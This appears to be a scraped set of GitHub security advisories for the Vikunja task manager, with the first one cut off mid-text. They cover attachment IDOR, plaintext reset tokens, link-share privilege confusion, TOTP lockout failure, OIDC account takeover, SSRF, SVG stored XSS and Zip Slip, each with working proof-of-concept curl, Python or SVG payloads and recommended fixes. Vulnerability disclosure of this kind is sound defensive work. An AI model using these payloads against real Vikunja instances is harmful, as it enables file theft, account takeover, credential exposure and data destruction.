Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND taskid = ? validation:

go // pkg/models/taskcomments.go:196-205 (the fix) func getTaskCommentSimple(s xorm.Session, tc TaskComment) error { query := s.Where("id = ?", tc.ID).NoAutoCondition() if tc.TaskID != 0 { query = query.And("taskid = ?", tc.TaskID) } // ... }

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

bash Attacker creates a project curl -s -X PUT 'http://localhost:3456/api/v1/projects' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker project"}' | jq '.id' Returns: 10

Attacker creates a task in their project curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker task"}' | jq '.id' Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

bash curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \ -H 'Authorization: Bearer <victimtoken>' \ -F 'files=@secret-document.pdf' Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

bash Attacker accesses victim's attachment (id=5) via their own task (id=50) curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' \ -o stolen-file.pdf Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

bash curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments. - Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users. - Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs. - Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add taskid validation to ReadOne, mirroring the fix already applied to task comments:

go // pkg/models/taskattachment.go func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { query := s.Where("id = ?", ta.ID) if ta.TaskID != 0 { query = query.And("taskid = ?", ta.TaskID) } exists, err := query.Get(ta) if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } }

// ... rest unchanged }

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Vikunja stores password-reset, email-confirmation, and account-deletion tokens in the usertokens table in plaintext. If an attacker gains read access to the database through a backup leak, misconfigured storage, or SQL-level exposure, they can immediately use pending tokens to take over user accounts without knowing passwords.

Details

pkg/user/token.go — genToken() stores the raw random string directly: go func genToken(u User, kind TokenKind) (Token, error) { tokenStr, err := utils.CryptoRandomString(tokenSize) ... return &Token{ UserID: u.ID, Kind: kind, Token: tokenStr, // stored as-is, no hashing }, nil }

Lookup also uses plaintext equality: go func getToken(s xorm.Session, token string, kind TokenKind) (t Token, err error) { has, err := s.Where("kind = ? AND token = ?", kind, token).Get(t) }

Affected token types: - TokenPasswordReset (pkg/user/userpasswordreset.go:120) - TokenEmailConfirm (pkg/user/usercreate.go:101, pkg/user/updateemail.go:88) - TokenAccountDeletion (pkg/user/delete.go:102)

Note: CalDAV tokens correctly use generateHashedToken with bcrypt — the same protection is absent for the above types.

PoC

sql -- Attacker with DB read dumps all pending password-reset tokens: SELECT u.email, t.token FROM usertokens t JOIN users u ON u.id = t.userid WHERE t.kind = 1;

-- Then takes over any account: curl -X POST https://vikunja.example.com/api/v1/user/password/reset \ -H 'Content-Type: application/json' \ -d '{"token": "<plaintextfromdb>", "newpassword": "AttackerPass1!"}'

Impact

Any read access to the database (leaked backup, cloud misconfiguration, secondary SQLi) allows an attacker to take over every user account with a pending reset token within the 24-hour token lifetime. Full account takeover including admin accounts.

Fix

Replace genToken with generateHashedToken for TokenPasswordReset, TokenEmailConfirm, and TokenAccountDeletion. Update the corresponding lookup to use bcrypt comparison (bcrypt.CompareHashAndPassword) rather than direct SQL equality, mirroring the existing CalDAV token implementation in the same file.

If possible, please apply for a CVE number when posting.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary Vikunja's web.Auth interface (pkg/web/web.go, single method GetID() int64) is satisfied by BOTH user.User and models.LinkSharing. A link-share's GetID() returns the raw positive share.ID (pkg/models/linksharing.go:83-85), which lives in the same positive autoincrement ID space as users.id. The safe negated form getUserID() = share.ID -1 (linksharing.go:126-128) exists but is NOT used at three permission sinks. As a result, a link-share principal with id N — which should have zero authority over teams or bot users — is treated as the user whose users.id == N at three permission checks that lack the a.(LinkSharing) guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.

Root Cause web.Auth is a one-method interface (GetID() int64). LinkSharing.GetID() returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:

1. TeamMember.CanDelete (pkg/models/teammemberspermissions.go:31-40): the self-removal fast path if u.ID == a.GetID() { return true } (:36) executes before IsAdmin. IsAdmin (:48-51) is the ONLY place that rejects link shares (if , is := a.(LinkSharing); is { return false }, :50) — and it is never reached when the fast path returns true. 2. BotUser.isOwner (pkg/models/botuserspermissions.go:47-56): return u.BotOwnerID == a.GetID() (:55), used by CanRead/CanUpdate/CanDelete (:36-45). Unlike CanCreate (:27-30) which type-asserts a.(user.User), these three paths have no principal guard. 3. Team.CanRead (pkg/models/teamspermissions.go:68-78): matches membership on And("userid = ?", a.GetID()) (:76) with no link-share guard, unlike sibling IsAdmin (:45-49, guard at :47).

Link-share JWTs reach these routes: SetupTokenMiddleware validates the signature only, GetAuthFromClaims returns models.LinkSharing, and the /user//teams route groups add no link-share rejection. Link sharing is enabled by default (config.go ServiceEnableLinkSharing.setDefault(true)).

Impact A link-share principal (obtainable from any public share link, or self-registered via a share on the attacker's own project) whose id N collides with a victim's users.id == N can, without being that user or any user: - Integrity (I:H): remove the victim from any team they belong to (DELETE /api/v1/teams/{T}/members/{username}) → revokes all project permissions the victim inherited through that team. - Availability/Integrity (A:H, I:H): enumerate the victim's bot users (GET /api/v1/user/bots → botownerid = a.GetID()), then disable/rename or permanently delete them (DELETE /api/v1/user/bots/{id} → DeleteUser), destroying data owned solely by those bots. - Confidentiality (C:H): read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (GET /api/v1/teams/{T}), plus read bot-user records via isOwner-gated reads.

Attack Chain

Sink 1 — TeamMember.CanDelete (integrity) 1. Entry: POST /api/v1/shares/{hash}/auth → link-share JWT with id = N. Guard: JWT middleware — signature only. Bypass proof: GetAuthFromClaims returns models.LinkSharing; no route-group link-share rejection on the /teams group. 2. Action: DELETE /api/v1/teams/{T}/members/{usernameOfUserN} with the link-share bearer, targeting a team T (≥2 members) that user N belongs to. Guard: CanDelete → GetUserByUsername(tm.Username) returns user N, then u.ID == a.GetID() (teammemberspermissions.go:36). Bypass proof: a.GetID() returns N (raw positive share.ID, linksharing.go:84) == user N's id → true. No a.(LinkSharing) check on this branch (only IsAdmin at :50 has it, never reached). 3. Sink: Delete (teammembers.go) removes user N from team T (last-member check passes when team has ≥2 members). Impact: victim loses all project access inherited through team T.

Sink 2 — BotUser.isOwner (bot takeover / destruction) 1. Entry: link-share JWT id N (as above). Guard: signature-only; /user group adds no link-share reject. 2. Enumerate: GET /api/v1/user/bots → ReadAll runs Where("botownerid = ?", a.GetID()) = bots owned by user N. Bypass proof: a.GetID() = N; returns victim's bot ids self-contained (removes the id-guessing barrier). 3. Sink: DELETE /api/v1/user/bots/{botId} → CanDelete → isOwner → u.BotOwnerID == a.GetID() (botuserspermissions.go:55) → true; Delete calls DeleteUser. Bypass proof: no a.(LinkSharing) guard here (Create-only, :28). Impact: disable/rename/permanently delete victim's bot automation identities.

Sink 3 — Team.CanRead (info disclosure) 1. Entry: link-share JWT id N. Guard: signature-only; no reject on GET /teams/:team. 2. Sink: GET /api/v1/teams/{T} → CanRead runs Where("teamid=?", t.ID).And("userid=?", a.GetID()).Get(tm) (teamspermissions.go:74-77). Bypass proof: a.GetID() = N matches user N's teammembers row → can = true; no a.(LinkSharing) check (contrast IsAdmin at :47). Impact: read roster + metadata of a team the link share is not part of.

Bypass Evidence - linksharing.go:83-85 GetID() returns raw positive share.ID (NOT the negated getUserID() at :126-128). - teammemberspermissions.go:36 raw u.ID == a.GetID() before IsAdmin; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true. - botuserspermissions.go:55 raw u.BotOwnerID == a.GetID(); the a.(user.User) guard at :28 is Create-only and NOT replicated on isOwner. - teamspermissions.go:76 raw a.GetID() in CanRead; sibling IsAdmin has the guard at :47, CanRead omits it. - All three sinks verified present on latest release tag v2.4.0 (git show v2.4.0:<file>). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to linksharing.go, c580d51, merely shadows an embedded Update method).

Affected Versions <= 2.4.0 (latest release; also present on HEAD of main). Requires default-enabled link sharing.

Exploitability Constraint (reflected in AC:H) The attacker cannot freely choose the colliding id — linkshares.id is autoincrement. Exploitation is (a) opportunistic (a guest holding a share with id N attacks the user whose users.id == N) or (b) targeted (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.

Suggested Fix Add the link-share principal guard (if , is := a.(LinkSharing); is { return false }) — which IsAdmin/CanCreate already use — to all three sinks: the TeamMember.CanDelete self-removal fast path (before the u.ID == a.GetID() check), BotUser.isOwner, and Team.CanRead. Alternatively, resolve principals through getUserID() (negated id space) at every permission check so link-share ids can never collide with user ids.

--- Reported by zx (Jace) — GitHub: @manus-use

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }

ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }

The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!

Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share

Impact

- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }

project := &Project{ID: share.ProjectID} // ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } = s.Rollback() return err }

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

python import requests, time, pyotp

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()})

send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": totp.now()}) print(f"Valid TOTP login: {r.statuscode}") # 200 - account was never locked

Output: Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { = lockoutSession.Rollback() return } = lockoutSession.Commit()

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

With the per-provider OIDC emailfallback option enabled, Vikunja links an SSO login to a pre-existing local (username+password) account using only the email claim — no emailverified (or Microsoft xmsedov) check and no password check, on the unauthenticated callback. An attacker who can make the configured issuer emit a token bearing a victim's email logs in as that victim with a full session and no victim interaction (the nOAuth / Grafana CVE-2023-3128 class). The 2.3.0 fix for GHSA-8jvc-mcx6-r4cg added a TOTP gate, not an emailverified gate, so users without TOTP remain exposed.

Details

References are pkg/modules/auth/openid/openid.go at HEAD. Identity is first resolved on the immutable (issuer, subject) pair (openid.go:428). On a subject miss with emailfallback on, fallbackSearchUsers adds an email-only lookup against local accounts:

go // openid.go:413 searches = append(searches, &user.User{Issuer: user.IssuerLocal, Email: cl.Email})

getUser resolves this via s.Get(), which ANDs non-zero fields -> WHERE issuer='local' AND email=?. Local users always have Issuer="local" (usercreate.go:38), so the lookup matches any local account by email alone; getOrCreateUser returns it and the caller mints a session — the password is never read. The claims struct has no emailverified field (openid.go:80) and getClaims never consults one; a repo-wide grep for emailverified/xmsedov returns nothing. The code already warns about this at openid.go:388 ("Discouraged for untrusted providers where someone can set email without verification") — but enforces nothing.

Impact

Unauthenticated takeover of any existing local account (read/write/delete its projects, tasks, attachments, shares), bypassing the password. Scope notes: only issuer='local' accounts are matched (not pure-SSO users); the attacker's sub is not bound to the victim record, but the attack is repeatable; TOTP users are protected by the 2.3.0 enforceTOTPIfRequired gate (openid.go:250), non-TOTP users are not.

Preconditions

1. Admin enabled emailfallback: true (defaults false — a default install is unaffected). 2. The configured issuer lets the attacker assert the victim's unverified email: a self-service IdP (Keycloak/Authentik/Auth0/Dex with editable email), a mixed federation, or a multi-tenant Entra /common app. iss/aud are pinned, but the attacker controls email, not the issuer. 3. The victim has a local account.

Not reachable against a single-tenant IdP that verifies email and disallows self-set addresses.

Recommended Fix

Add emailverified to the claims struct and require it true on the email-fallback branch before linking to a local account; reject when absent/false. For Entra also require xmsedov and pin multi-tenant configs to an allowed-tenant list. Fail closed on an email collision not backed by a verified email from a trusted single-tenant issuer rather than silently logging the caller in.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
EPSS
0.03%
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Summary

The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.

Details

When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:

Claim extraction (pkg/modules/auth/openid/openid.go:70-78): go type claims struct { Email string json:"email" Name string json:"name" PreferredUsername string json:"preferredusername" Nickname string json:"nickname" VikunjaGroups []map[string]interface{} json:"vikunjagroups" Picture string json:"picture" // ... }

Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352): go // Try sync avatar if available err = syncUserAvatarFromOpenID(s, u, cl.Picture) if err != nil { log.Errorf("Error syncing avatar for user %s: %v", u.Username, err) }

Vulnerable download (pkg/utils/avatar.go:94-115): go func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

resp, err := (&http.Client{}).Do(req) // No SSRF protection // ... return io.ReadAll(resp.Body) // No size limit }

In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310): go if !config.WebhooksAllowNonRoutableIPs.GetBool() { guardian := ssrf.New(ssrf.WithAnyPort()) transport.DialContext = (&net.Dialer{ Control: guardian.Safe, }).DialContext }

The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.

PoC

Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.

Step 1: Set up a listener to observe incoming requests: bash On attacker-controlled server or internal service nc -lvp 8888

Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or to probe internal services: http://internal-service:8888/admin

Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.

Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.

Cloud metadata example (AWS): Set picture URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Vikunja server makes GET to this URL from its own network context The response is read into memory (io.ReadAll) before image.Decode fails The HTTP request itself reaches the metadata service

Impact

- Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages. - Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered. - Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this. - Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.

Recommended Fix

Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:

go // pkg/utils/avatar.go import ( "net" "code.dny.dev/ssrf" )

func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

// SSRF protection: block requests to non-globally-routable IPs guardian := ssrf.New(ssrf.WithAnyPort()) client := &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: guardian.Safe, }).DialContext, }, }

resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to download image: %w", err) } defer resp.Body.Close()

if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode) }

// Limit response body to 10MB to prevent memory exhaustion const maxAvatarSize = 10 1024 1024 return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize)) }

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.04%
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Details The application allows users to upload SVG files as task attachments. SVG is an XML-based format that supports JavaScript execution through elements such as <script> tags or event handlers like onload.

The application does not sanitize SVG content before storing it. When the uploaded SVG file is accessed via its direct URL, it is rendered inline in the browser under the application's origin. As a result, embedded JavaScript executes in the context of the authenticated user.

Because the authentication token is stored in localStorage, it is accessible via JavaScript and can be retrieved by a malicious payload.

Key security issues identified:

No server-side sanitization of SVG content. SVG attachments are rendered inline instead of being forced as a download. Embedded JavaScript within SVG files is allowed to execute. Authentication tokens stored in localStorage are accessible to client-side scripts.

PoC

Tested Environment

[ ] Application version: 1.1.0 [ ] Deployment type: Self-hosted

Steps to Reproduce

1. Log in to an account. 2. Go to Projects and Create a new task or open an existing task. 3. Upload the following SVG file as an attachment:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg onload="alert(localStorage.getItem('token'))" xmlns="http://www.w3.org/2000/svg"> </svg>

4. After uploading ,save the Task and open the project , copy the direct URL of the attachment. 5. Open the attachment URL in a new browser tab. 6. The embedded JavaScript executes immediately and displays the authentication token stored in localStorage.

This confirms that arbitrary JavaScript embedded in an uploaded SVG file executes within the application's context.

Impact

This vulnerability is classified as Stored Cross-Site Scripting (XSS).

Potential impact includes:

Execution of arbitrary JavaScript in a victim’s browser. Exposure of authentication tokens. Potential account takeover. Ability to perform authenticated actions on behalf of the victim. Possible privilege escalation if higher-privileged users open the malicious attachment. Any authenticated user who accesses a malicious SVG attachment may be affected.

Recommendations

This vulnerability can be mitigated by implementing proper server-side sanitization of SVG uploads and preventing inline execution of uploaded files.

Specifically:

- Sanitize all uploaded SVG files to remove <script> elements, event handlers (e.g., onload), and other executable content. - Serve attachments with Content-Disposition: attachment to prevent inline rendering. - Implement a strict Content Security Policy (CSP) to block script execution within uploaded files. - Store authentication tokens in HttpOnly, Secure cookies instead of localStorage to prevent JavaScript access. - Applying these controls will prevent stored XSS via SVG uploads and significantly reduce the risk of token exposure and account takeover.

Attachment Stored XSS Proof of concept.pdf

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
EPSS
0.07%
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.

Details

The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.

The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.

The restoration logic assumes a specific directory structure within the ZIP. When provided with a "minimalist" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.

PoC

When provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.

Reproduction Steps: 1. Preparation: Generate vikunjacriticalpoc.zip. 2. Execution: Run echo "Yes, I understand" | vikunja restore vikunjacriticalpoc.zip. 3. Observation: a. The application logs INFO: Wiped database. b. The application immediately follows with: panic: runtime error: index out of range [-2]. 4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.

Reproduction Python Script:

import zipfile

VIKUNJAVERSION = "v1.1.0" ZIPNAME = "vikunjacriticalpoc.zip"

def createpoc(): with zipfile.ZipFile(ZIPNAME, 'w') as zipf: # Mandatory version file to pass initial check zipf.writestr('VERSION', VIKUNJAVERSION)

# Malicious traversal path # This triggers the traversal logic and the index panic simultaneously zipf.writestr('../../../pwned.txt', "Vulnerability Confirmed.") print(f"[+] {ZIPNAME} created.")

if name == "main": createpoc()

Stack Trace: time=2026-02-21T23:07:22.707Z level=INFO msg="Wiped database." panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085

Remediation: Sanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing. Implement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.

Proposed Fix for restore.go:

// 1. Sanitize the filename filename := filepath.Base(configFile.Name) dstPath := filepath.Join(extractionDir, filename)

// ...

// 2. Prevent Index Out of Range Panic (Line 154) if len(ms) < 2 { return fmt.Errorf("invalid migration sequence in backup archive") } lastMigration := ms[len(ms)-2]

Impact

Vulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception) Affected Component: pkg/modules/dump/restore.go Impact: Arbitrary File Write and Permanent Data Loss Status: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days. Source File: pkg/modules/dump/restore.go Functions: Restore, restoreConfig Line Number: 154 (v1.1.0) Command: vikunja restore <pathtozip>

